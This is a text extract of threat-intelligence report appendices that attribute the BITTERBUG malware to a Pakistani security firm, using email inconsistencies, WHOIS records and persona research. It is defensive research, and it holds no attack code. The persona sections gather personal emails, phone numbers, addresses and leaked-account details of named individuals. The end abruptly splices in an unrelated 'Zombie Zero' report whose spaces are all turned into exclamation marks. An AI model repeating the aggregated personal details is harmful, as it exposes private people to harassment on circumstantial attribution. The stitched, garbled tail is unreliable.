Jul 2013 02-28-41 +0500).eml +https://www.privateinternetaccess.com +http://pastebin.com/F261NfYa +OPERATION ARACHNOPHOBIA +APPENDIX D: Inconsistencies Observed +Due to the apparent Pakistani nexus within the BITTERBUG malware and the Pakistan time zone consistently observed within +the VPSNOC emails, the TCIRT applied additional scrutiny and research of the content within the Tranchulas +Response_ +ThreatConnect.docx + to validate their claims. In the following section we will examine the inconsistencies observed. Within the +response we observed the following inconsistencies: +Inconsistency #1: Day & Date Misalignment within image1.png Screenshot +Our review of the +Response_ThreatConnect.docx +53 focused in on the email screenshot (Figure 3) image1.png54 that Khan +provided revealing that the date probably had been modified to appear as though they were the first to notify VPSNOC. Within +the official response, Zubair Khan indicated that Tranchulas was +already aware of this incident...and contacted hosting +company. + The official response included a screenshot depicting an email sent to VPSNOC from an unidentified (redacted) +tranchulas.com email address that was sent on +Tue, Jul 21, 2013 at 11:36 PM + with no evidence of the date in which it was +received by or responded to by VPSNOC. This message contained a notable misalignment between the date and day of the week. +July 21, 2013 was a Sunday, not a Tuesday. +Tuesday + would have pre-dated our official notification that occurred on Wednesday +July 24, 2013, and could indicate that Tranchulas may have obtained insight into the original TCIRT notification through Pakistanbased contacts within VPSNOC. The TCIRT subsequently responded to Mr. Khan +s official explanation with a follow-up inquiry, +offering Khan an opportunity to explain the date inconsistency within the email screenshot. Mr. Khan deferred our request to +Mr. Hamza Qamar55, a Penetration Testing Team Lead at Tranchulas, who later responded56 with a simple denial that the email +message had not been altered apart from blurring the name of the original sender. +Inconsistency #2: Awareness of Withheld Information +The email screenshot (image1.png) from within the Tranchulas response demonstrated awareness of information that we initially +withheld and later released in our blog post: one malware variant57 that contained a debug string with +umairaziz27 + the +same username as a Tranchulas employee. The Tranchulas message to VPSNOC incorrectly claimed to identify malware on +199.91.173.43 that contained the +company +s name and...employee +s name +. While it is possible that Tranchulas + analysts +discovered this variant independent of the blog post, it added to the inconsistent elements of the response and further suggested +that the blog post may have inspired its communications with VPSNOC. We note that we requested additional information such as +the +detailed analysis report + within the exchange from Tranchulas but did not receive a response. +Inconsistency #3: Tranchulas Direct Notification +The Tranchulas response indicates that +Tranchulas + research team was already aware of this incident before publication +of this report. Our team contacted hosting company of server to seek an explanation. + Considering there are no +public references to the identified infrastructure identifying VPSNOC as the +hosting company +. The only way for Tranchulas to +identify VPSNOC as the hosting company was to either have previous insider knowledge of the activity, or to have been privately +introduced by the Kansas-City-based service provider to their +client + VPSNOC, of which was never mentioned or discussed when +we initially exchanged with either the Kansas-City or Pakistan-based hosting providers. +Digital Appendix 1: Research Collateral Response_ThreatConnect.docx (MD5: 6f7010a28f33be02d85deb9ba40ec222) +Digital Appendix 1: Research Collateral image1.png (MD5: d224f39f8e20961b776c238731821d16) +http://pk.linkedin.com/pub/hamza-qamar/22/6b8/109 +Digital Appendix 2: Raw Email Communications (Email#4 Subject- Re- Regarding 20130731A- South Asia Cyber Espionage Heats Up (Date- Thu, 15 Aug 2013 12-52-54 +0500).eml +https://www.virustotal.com/en/file/b9a062e84ab64fc55dedb4ba72f62544eb66d7e1625059d2f149707ecd11f9c0/analysis/ +OPERATION ARACHNOPHOBIA +Public registration of the 199.91.173.43 reveals the Kansas-City-based hosting provider as the official registrant and owner +of the infrastructure. The only way to know that VPSNOC was subleasing the infrastructure was to obtain this information directly +from them. There was no public reference which would have revealed VPSNOC as the entity which maintained root access to the +199.91.173.43. Had Tranchulas legitimately conducted an initial victim notification sometime in late July 2013, they would have +likely done so through the Kansas-City-based hosting provider and not VPSNOC. +On August 15, 2013, Hamza Qamar +s response to TCIRT +s follow up inquiry to the observed inconsistencies redirected TCIRT +personnel to VPSNOC to obtain an explanation versus attempting to explain the observed day date inconsistency and document +properties within the Tranchulas email. The TCIRT +s suspicion mounted when presenting Tranchulas with the opportunity to set the +record straight, that Tranchulas could not substantiate their claims, rather deferring the TCIRT inquiry to a third party (VPSNOC). +Inconsistency #4: Tranchulas obtains similar response that TCIRT obtained +Within the +Response_ThreatConnect.docx + the image +image1.png + contains an undated response from VPSNOC to the +Tue, Jul 21, 2013 + Tranchulas notification. The undated VPSNOC response that Tranchulas received is nearly identical to the +response that TCIRT and the Kansas-City-based service provider obtained on July 24th. Tranchulas does not include the date or +time as to when they obtained a response from VPSNOC. +The TCIRT found it unusual that neither the Kansas-City-based service provider or VPSNOC personnel ever indicated either way +that they knew about the activity or had been previously contacted by either party. When considering all of the inconsistencies, +order of events and studying, Gmail webmail layout, similarities of keywords, salutations and closings within the +Tue, Jul 21, +2013 + Tranchulas notification and the respective VPSNOC response. The TCIRT grew increasingly suspicious of the exchanges +with VPSNOC and subsequent exchanges with Tranchulas personnel. +Inconsistency #5: Similar Document Metadata Properties +Analysis of metadata within two benign decoy documents that were originally used within July 2013 BITTERBUG operations, +Report.docx58 and Naxalites_Funded_by_Pakistan.docx59, both maintained the author properties of +. In reviewing the +document metadata within the +Response_ThreatConnect.docx + that was sent from Mr. Zubair Khan on August 6, 2013, the +TCIRT also identified that this document maintained the creator properties of + (Figure 10) +While the author field of + doesn +t conclusively prove a relationship, it contributes to a body of circumstantial evidence which +matches the document properties of the official Tranchulas response to the document properties that were also found within +decoy documents that were bundled with BITTERBUG implants. +https://www.virustotal.com/en/file/7e940115988d64fbf7cd3b0d86cd2440529f921790578a96acac4c027120e0c5/analysis/ +https://www.virustotal.com/en/file/f689d9990a23fbde3b8688b30ff606da66021803390d0a48d02fad93dc11fa15/analysis/ +OPERATION ARACHNOPHOBIA +APPENDIX E: VPSNOC & Digital Linx Associations +According to the vpsnoc.com website +In 2007 five VPS experts decided to invest in their very own private rack space in the heart +of Kansas, the United States. Their aim? To bring service-oriented, quality managed and unmanaged VPS solutions to clients +all over the world. Just 1 year later, after beginning their enterprise on 3 servers they had filled 2 server racks with happy clients +receiving quality U.S support. Their company continued to build momentum. +Whois records for vpsnoc.com indicate that another individual registered the domain and listed Digital Linx Hosting as the registrant +organization with a Kansas City-based address, telephone number 925-665-1427, and administrative email address admin@digitallinx. +org.61 This is the same registrant record for the digitallinx.net domain.62 The digitallinx.net/sitemap.xml63 and the corresponding Google +cache64 for digitallinx.net/sitemap.xml indiciate that both digitallinx.net and digitallinx.com have shared the same sitemap.xml at the same +time. The digitallinx.net/Contact.html65 identified similar overlaps with data across the .org, .net, and .com domains. +The domain digitallinx.com is registered to Perasona #1.66 67 68 69 He uses email addresses naseer@digitallinx.com and nbhatti@ +gmail.com as the domain registrant email address, along with address 638-F Johar Town, Lahore Pakistan and telephone +966.548805579.70 The DigitalLinx (digitallinx.com) website states that it is +a web hosting / Web Solutions & Processing +Outsourcing Company based in Pakistan +Open source research of the phone number 925-665-1427 indicates that it is also used within site content as a phone number for +defiantmarketing.com. This domain is registered by Persona #2 71 who uses the aliases +agnosticon + and +agnostic +. Persona #2 lists VPSNOC +as the registrant organization, and uses the registration email address of abunasar@yahoo.com with an address of House 12, Street 21, F-8/1 +Islamabad Federal 44000. The domain defiantmarketing.com domain has used ns1.abunasar.net and ns2.abunasar.net for name services. +Within a January 2009 posting to a Debian users forum, Persona #2 sends an email from the abunasar@yahoo.com with a reply-to as +abunasar@army.com.72 Within the post, Persona #2 responds to the question +s using Debian + listing DigitalLinx, Kansas City MO and +the link to digitallinx.com. Also, the seemingly abandoned Twitter profile for Persona #273 is only following the Twitter profile for @VPSNOC.74 +In an April 2012 post to blackhatworld.com, a user with the alias +agnosticon + posted promotional codes for VPSNOC hosting +services, engaging with customers, providing them feedback regarding VPS services and thanking them for positive reviews.75 +Within the posting the user +agnosticon + included an image which was an actual advertisement that was hosted at http://vpsnoc. +com/order.png.76 77 Within the posted image it states +VPSNOC is a subdivision of Digital Linx Hosting. We have been in business since +2008 +. The posting concludes with +If you have any further questions/queries please contact us directly at: support@vpsnoc.com +http://vpsnoc.com +https://whois.domaintools.com/vpsnoc.com +https://whois.domaintools.com/digitallinx.net +digitallinx.net/sitemap.xml +http://webcache.googleusercontent.com/search?q=cache:CtCiQUGgUaoJ:www.digitallinx.net/sitemap.xml+&cd=1&hl=en&ct=clnk&gl=us +digitallinx.net/Contact.html +https://whois.domaintools.com/digitallinx.com +http://sa.linkedin.com/pub/muhammad-naseer-bhatti/9/18a/815 +https://groups.google.com/forum/#!original/securityfocus2/9325p2as3IU/BqKQJwdlZ4YJ +Appendix F: Personas; Persona #1 Muhammad Naseer Bhatti +https://github.com/digitallinx/vBilling/blob/master/CHANGELOG +Appendix F: Personas; Persona #2 Abunasar Khan +https://lists.debian.org/debian-www/2009/01/msg00186.html +https://twitter.com/abunasar +https://twitter.com/vpsnoc +http://www.blackhatworld.com/blackhat-seo/members/32481-agnosticon.html +http://www.blackhatworld.com/blackhat-seo/hosting/430705-unmetered-vps-hosting-get-50-off-your-first-month-exclusive-coupons-bhw.html +http://vpsnoc.com/order.png +OPERATION ARACHNOPHOBIA +APPENDIX F: Personas +Persona #1: +Muhammad Naseer Bhatti +s LinkedIn profile indicates that he is currently the founder for Digital Linx LLC and vBilling (vbilling.org) +as well as a consultant for a U.S. company78. Both Bhatti and Digital Linx are listed as the registrants for vbilling.org79, v-billing. +com80, vgriffins.com81 and my-server.co82, which use P.O. Box 295658, Riyadh Saudi Arabia83 as the registration address. This +is also the address for two U.S. companies + local operations. Bhatti is also listed as the owner of the netblock 46.4.139.224/28. +Both passive DNS sources as well as Robtex84 highlight this overlapping infrastructure.85 +From September 7 - 9, 2011, Tranchulas in cooperation with the Pakistan National University of Sciences and Technology86 +(NUST), offered a Certified Penetration Testing Profession (CPTP) Workshop87 (Figure 17). During the workshop, basic penetration +techniques and skills were presented88. It is likely that CPTP workshops and alignment with NUST have allowed Tranchulas the +opportunity to recruit student interns.89 +http://sa.linkedin.com/pub/muhammad-naseer-bhatti/9/18a/815 +http://whois.domaintools.com/vbilling.org +http://whois.domaintools.com/v-billing.com +http://whois.domaintools.com/vgriffins.com +http://whois.domaintools.com/my-server.co +http://saudi.emc.com/contact/contact-us.htm +https://www.robtex.com/dns/digitallinx.com.html +http://whatmyip.co/info/whois/46.4.139.225 +www.nust.edu.pk +http://seecs.nust.edu.pk/Seminars_workshops/pages/tranchulas_hacking_workshop/index.php +Digital Appendix 1: Research Collateral (Program.pdf) +http://www.nust.edu.pk/INSTITUTIONS/Directortes/ilo/Download%20Section/Graduate%20Profiles%20booklet-%202013%20(SEECS).pdf +OPERATION ARACHNOPHOBIA +Figure 17: Muhammad Nasser Tranchulas CPTP Registration Point of Contact +Within the CPTP event registration contact information for Muhammad Naseer was listed next to a Tranchulas office number (0512871433)90. It is important to note that Muhammad Naseer Bhatti has been previously known to drop91 the family name +Bhatti +http://www.linkedin.com/groups/Tranchulas-Handson-Ethical-Hacking-Training-2616369.S.75237952 +https://groups.google.com/forum/#!original/securityfocus2/9325p2as3IU/BqKQJwdlZ4YJ +OPERATION ARACHNOPHOBIA +within online correspondence (Figure 18). In a June 2012 episode of Engineering and Technology Magazine92 podcast a Mohammed +Nasser, Penetration Tester at Tranchulas was interviewed93. A Mohammed Nasser may also be directly affiliated94 with Tranchulas. +Figure 18: Muhammad Nasser Bhatti Dropping Family Name +This links Tranchulas to a Pakistani employee or consultant also named Muhammad Naseer. It is unknown if this is the same +Muhammad Naseer that is associated with VPSNOC +s parent company Digital Linx, the Pakistan-based service provider which +hosted the original BITTERBUG malware. +http://eandt.theiet.org/magazine/2012/06/ +http://eandt.theiet.org/magazine/2012/06/et-podcast-18.cfm +http://www.zoominfo.com/s/#!search/profile/person?personId=1627460418&targetid=profile +OPERATION ARACHNOPHOBIA +Persona #2: +Abunasar Khan also maintains the aliases +agnosticon +95 and +agnostic +96 in addition to the email addresses abunasar@yahoo. +com and abunasar@army.com. He has been previously associated97with VPSNOC & Digital Linx. An April 2012 Whois registrant +record for the domain zeusadnetwork.com98 includes the first and last name Khan along with the same (925) 665-1427 phone +number seen within the Digial Linx Hosting domains. +Khan registered a variety of domains, many of which use his abunasar.net99 for name services and abunasar.yahoo.com within +the Start of Authority (SOA) records. For example a July 2014 record (Figure 19) for defiantmarketing.com100 and an August 2013 +record (Figure 20) for ns2.vpsnoc.com both maintain these references. +Figure 19: SOA record for defiantmarketing.com (July 2014) +http://www.blackhatworld.com/blackhat-seo/members/32481-agnosticon.html +http://www.redlinegti.com/forum/viewtopic.php?f=3&t=41719&p=401115 +http://www.webhostingtalk.com/showthread.php?t=723658 +http://whois.domaintools.com/zeusadnetwork.com +http://whois.domaintools.com/abunasar.net +http://bgp.he.net/dns/defiantmarketing.com +OPERATION ARACHNOPHOBIA +Figure 20: SOA Record for vpsnoc.com (August 2013) +Abunasar Khan registered abunasar.net and previously (May 2007) and maintained whitehate.org101, which have both been used +to demonstrate an affinity for and alignment with AntiSec and Anonymous movements.102 The abunasar.net website prominently +displays ascii art of the term +antisec + with antisec related content +Blend in. Get trusted. Trust nobody. Own everybody. Disclose +nothing. Destroy everything. Take back the scene. + This is a shared affinity that is also reflected amongst with the culture of +Tranchulas employees.103 104 105 The pure.whitehate.org domain has also been previously associated with Khan, examples can be +found within #phrack and #darknet IRC sessions.106 107 +Ironically, in February 2011, Khan +s Rootkit.com user profile was compromised revealing his profile +s username, password hash, +email (abunasar@army.com), and the registration IP address of 202.125.143.67 (Islamabad, Pakistan).108 During his registration, +Khan specified the name +anony mo us + when registering the profile. As of 16 August 2013, a Pastebin post contained details of +a customer database compromise for nowclothing.pk, which included Khan +s name, email abunasar@army.com, and cell phone +number 03215488881.109 110 +Research of the 03215488881 cell phone number yields a user profile +abunasark + in an April 2009 posting.111 Khan posts +pictures of his blue Baleno and includes another phone number 03234764838.112 In a secondary profile user + uses the same +cell phone number 03215488881 in a 2009 sales posting for a 2004 blue Baleno.113 114 +https://whois.domaintools.com/whitehate.org +https://whois.domaintools.com/abunasar.net +https://www.facebook.com/media/set/?set=a.542485719112184.135023.132987340062026&type=3 +http://youtube.com/watch?v=w3DjOuEI0vs.mov +Digital Appendix 3: Screenshot Archives (youtube.com/watch?v=w3DjOuEI0vs.mov) +http://pastebin.com/rqVGqh1q +http://shootingsawk.lescigales.org/misc/owneddarknet.txt +https://dazzlepod.com/rootkit/?page=284 +http://pastebin.com/ktR3qM3K +Digital Appendix 3: Screenshot Archives (pastebin.com/ktR3qM3K.png) +http://www.pakwheels.com/forums/user/abunasark +http://www.pakwheels.com/forums/members-member-rides/99428-white-baleno-not-anymore-comments-please-p-4 +http://www.motors.pk/ak-22.htm +http://www.motors.pk/used-cars/suzuki-baleno-2004-for-sale-in-islamabad-22.htm +OPERATION ARACHNOPHOBIA +Khan +s affinity for Suzuki Baleno cars is made obvious in a May 2009 registration for clubaleno.co.uk that was registered by Khan +at VPSNOC using the name services of ns1.abunasar.net and ns2.abunasar.net with a SOA record of abunasar.yahoo.com.115 116 +Later in a June 2009 posting, Khan using the alias +agnostic + attempts to sell the domain clubaleno.co.uk and uses his abunasar@ +army.com email address as a point of contact.117 +Khan is also observed using the alias +agnosticon + and a Toyota Racing Development avitar within posts to blackhatworld.com +and again within a 2011 post where he posts a cpanel error that also includes his +abunasar + username within system output.118 +The Google+ profile for Khan119 reveals established social network links to a Team Lead for Penetration Testing at Tranchulas and +a Digital Linx employee Shoaib Riaz120 who also maintains a social network association with the Digital Linx founder Muhammad +Nasser Bhatti.121 +http://www.sitetrail.com/clubaleno.co.uk +http://dawhois.com/site/clubaleno.co.uk.html +http://www.redlinegti.com/forum/viewtopic.php?f=3&t=41719&p=401115 +http://forums.cpanel.net/f5/help-yum-broke-rpm-db-broke-somehow-httpd-wont-start-238511.html +https://plus.google.com/103436628630566104748/posts +https://plus.google.com/105059395104464629441/about +https://plus.google.com/105855064276291727409/posts +OPERATION ARACHNOPHOBIA +APPENDIX G: Tranchulas +The Tranchulas website122 states that they provide a range of security services and training to include penetration and offensive +cyber initiative (OCI), in which they +help national level cyber security programs on strategies for managing offensive technical +threats +. In a September 2011 YouTube user +tranchulascert + posted a video titled +Tranchulas Cyber Ranges - P@sha ICT Awards +2011123 +, where they awarded runner up124. Within the video, the cyber ranges were referenced as being developed for +defense +forces + that were aimed to +help them in developing offensive and defensive warfare skills + and +combating anti-state hackers +Although Tranchulas125 brands itself as a multi-national company, their respective operating addresses within United Kingdom126 +the United States127 and New Zealand128 are all associated with either virtual office spaces or address forwarding services. The +Tranchulas website lists its Pakistan address within the 2nd floor of the Evacuee Trust Complex129 on Sir Agha Khan Road F-5/1 +Islamabad 44000. The Evacuee Trust Complex is also known as Software Technology Park 2130 or STP2 and hosts a variety131 of +other commercial and government offices. +The Tranchulas employee, Hamza Qamar, that handled the response to our inquiry has a public LinkedIn132 profile that states that +Engaged in system and enterprise level network and Web application security testing for clients ranging from large federal +agencies, DoD, and commercial clients. + The profile does not specify if DoD is a reference to the U.S. Department of Defense or +another country +s Ministry of Defense. Interestingly, Qamar +s Google+ page showed one +friend + in his circle despite more than 40 +followers, Abunasar Khan a VPSNOC employee. +It is likely that Tranchulas provides services to the Pakistani government. The offensive cyber initiative services offered by +Tranchulas is offered to +national-level cyber security programs + suggesting a commercial demand from +national-level + customers. +The stated purpose and intent of the Tranchulas +Cyber Ranges + P@sha ICT 2011 awards video suggests the ranges were +specifically developed in support of national interests for offensive and defensive purposes. The domain registration by Zubair +Khan using an official Pakistani government address with his zubair@tranchulas.com email address indicates that Khan may have +or currently maintains a physical address at a location where other Pakistani government officials reside. +Historic Whois registration records for the domains textcrypter.com133, taggnation.com134, bookadoconline.com135 and saadiakhan. +net136 lists Tranchulas CEO Zubair Khan (zubair@tranchulas.com137) as the registrant for the domains. At the time of registration +Khan used the address 15-B, Mehran Block of the Gulshan-e-Jinnah F-5/1 Islamabad Pakistan for the domains. +http://tranchulas.com +https://www.youtube.com/watch?v=FAM6JxOHdo8 +http://pashaictawards.com/?page_id=1644 +http://tranchulas.com/contact-us/ +http://www.londonpresence.com/contact-us/ +http://nextspace.us/nextspace-union-square-san-francisco/ +http://www.privatebox.co.nz/virtual-office/virtual-office-address.php +https://www.facebook.com/EvacueeTrustComplex +http://wikimapia.org/425791/Evacuee-Trust-Complex +https://www.facebook.com/EvacueeTrustComplex/photos/a.554791821273808.1073741825.404981572921501/554791824607141/ +http://pk.linkedin.com/pub/hamza-qamar/22/6b8/109 +https://whois.domaintools.com/textcrypter.com +https://whois.domaintools.com/taggnation.com +https://whois.domaintools.com/bookadoconline.com +https://whois.domaintools.com/saadiakhan.net +https://reversewhois.domaintools.com/?email=b249ca637ef7cc55a0136bcda9dca0d3 +OPERATION ARACHNOPHOBIA +In an April 2008 Request for Proposals, the Pakistan Public Works Department issued a tender138 for the Constriction of +Government Servant Quarters and Garages at Gulshan-e-Jinnah Complex F-5/1 Islamabad. Later in May of 2010 within a +Pakistani Senate139 question and answer session, the Gulshan-e-Jinnah Complex was cited under Federal Lodges / Hostels in +Islamabad under the control of Pakistan Ministry for Housing and Works. A December 2010 TheNews Pakistan ran a story140 +that detailed the differential in rents between commoners within Islamabad and Pakistani government officers accommodated +at Gulshan-e-Jinnah. According to Google Maps141 it is approximately 650 meters (8 minute walk) from the Gulshan-e-Jinnah +Complex to the Tranchulas offices within the Evacuee Trust Complex. +Within a May 2013 interview142 Khan specified that he comes from a family with a strong military background. He detailed his +interest in +the world of hacking + grew during his teen years, referencing his father +s diplomatic assignment to the Philippines in +2003. Khan would go on to establish Tranchulas in February 2006 after an independent audit of Pakistani Governments National +Database and Registration Authority (NADRA). +http://www.dgmarket.com/tenders/np-notice.do?noticeId=2466880 +http://www.senate.gov.pk/uploads/documents/questions/1317711132_399.pdf +http://www.thenews.com.pk/Todays-News-2-22150-Bureaucrats-journalists-avail-cheaper-accommodation +https://www.google.com/maps/dir/Tranchulas,+Islamabad,+Pakistan/Gulshan-e-Jinnah+Complex,+Islamabad,+Pakistan/@33.7327466,7 +3.0877996,17z/data=!4m13!4m12!1m5!1m1!1s0x38dfc0820ff3f9e3:0x4b3eb557d9cd81c3!2m2!1d73.088686!2d33.73353!1m5!1m1!1s0 +x38dfc0818a64f1d7:0x82c3bee2d49d88ab!2m2!1d73.089409!2d33.73263?hl=en-US +http://bluechipmag.com/qa-with-zubair-khan/ +OPERATION ARACHNOPHOBIA +Digital Appendix 1: Research Collateral +Digital Appendix 1 contains additional research collateral collected when conducting Operation Arachnophobia research. +OPERATION ARACHNOPHOBIA +Digital Appendix 2: Raw Email Communications +Digital Appendix 2 contains raw email communications. These .eml files include raw SMTP headers, content and attachments. +OPERATION ARACHNOPHOBIA +Digital Appendix 3: Screenshot Archives +Digital Appendix 3 contains screenshots of web content used to conduct analysis. +OPERATION ARACHNOPHOBIA +Digital Appendix 4: Maltego Visualization +Digital Appendix 4 contains visualization files that depict relationships and contain metadata associated with our Operation +Arachnophobia research. +OPERATION ARACHNOPHOBIA +Anatomy!of!the!Attack:!! +Zombie!Zero! +The!Anatomy!of!the!Attack:!!!Zombie!Zero! +Zombie!Zero! +Zombie!Zero!is!a!suspected!nation;state!sponsored! +attack!on!targeted!logistics!and!shipping!industries.! +Variants!of!this!Advanced!Persistent!Malware! +have!recently!been!seen!in!manufacturing!sectors! +as!well.! +Weaponized!malware!was!delivered!into!customer! +environments!from!the!Chinese!factory!responsible! +for!selling!a!proprietary!hardware/software!scanner! +application!used!in!many!shipping!and!logistic! +companies!around!the!world.! +The!same!hardware!product!with!a!variant!of!this! +malware!was!sold!and!delivered!to!a! +manufacturing!company!as!well!as!to!seven!other! +identified!customers.! +The!malware!was!embedded!in!a!version!of! +Windows!XP!installed!on!hardware!at! +manufacturer's!location!in!China.! +Malware!also!persisted!in!the!Windows!XP! +embedded!version!located!at!the!Chinese!manufacturer's!support!website!hosted!in!China.! +Description!of!the!Chinese!hardware/! +software!scanner!application!and!the!user! +company's!security!environment:! + Items!being!shipped/transported!are!scanned!as! +they!are!loaded/offloaded!from!vehicles!such!as! +ships,!trucks,!and!planes.! + This!scanned!data!(origin,!destination,!contents,! +value,!to,!from,!etc.)!is!transmitted!to!the! +corporate!ERP!via!an!exterior!wireless!network.!! + The!customer!deployed!scanners!at!two!major! +distribution!sites.!!Site!1!had!a!firewall!between!the! +corporate!production!network!and!the!end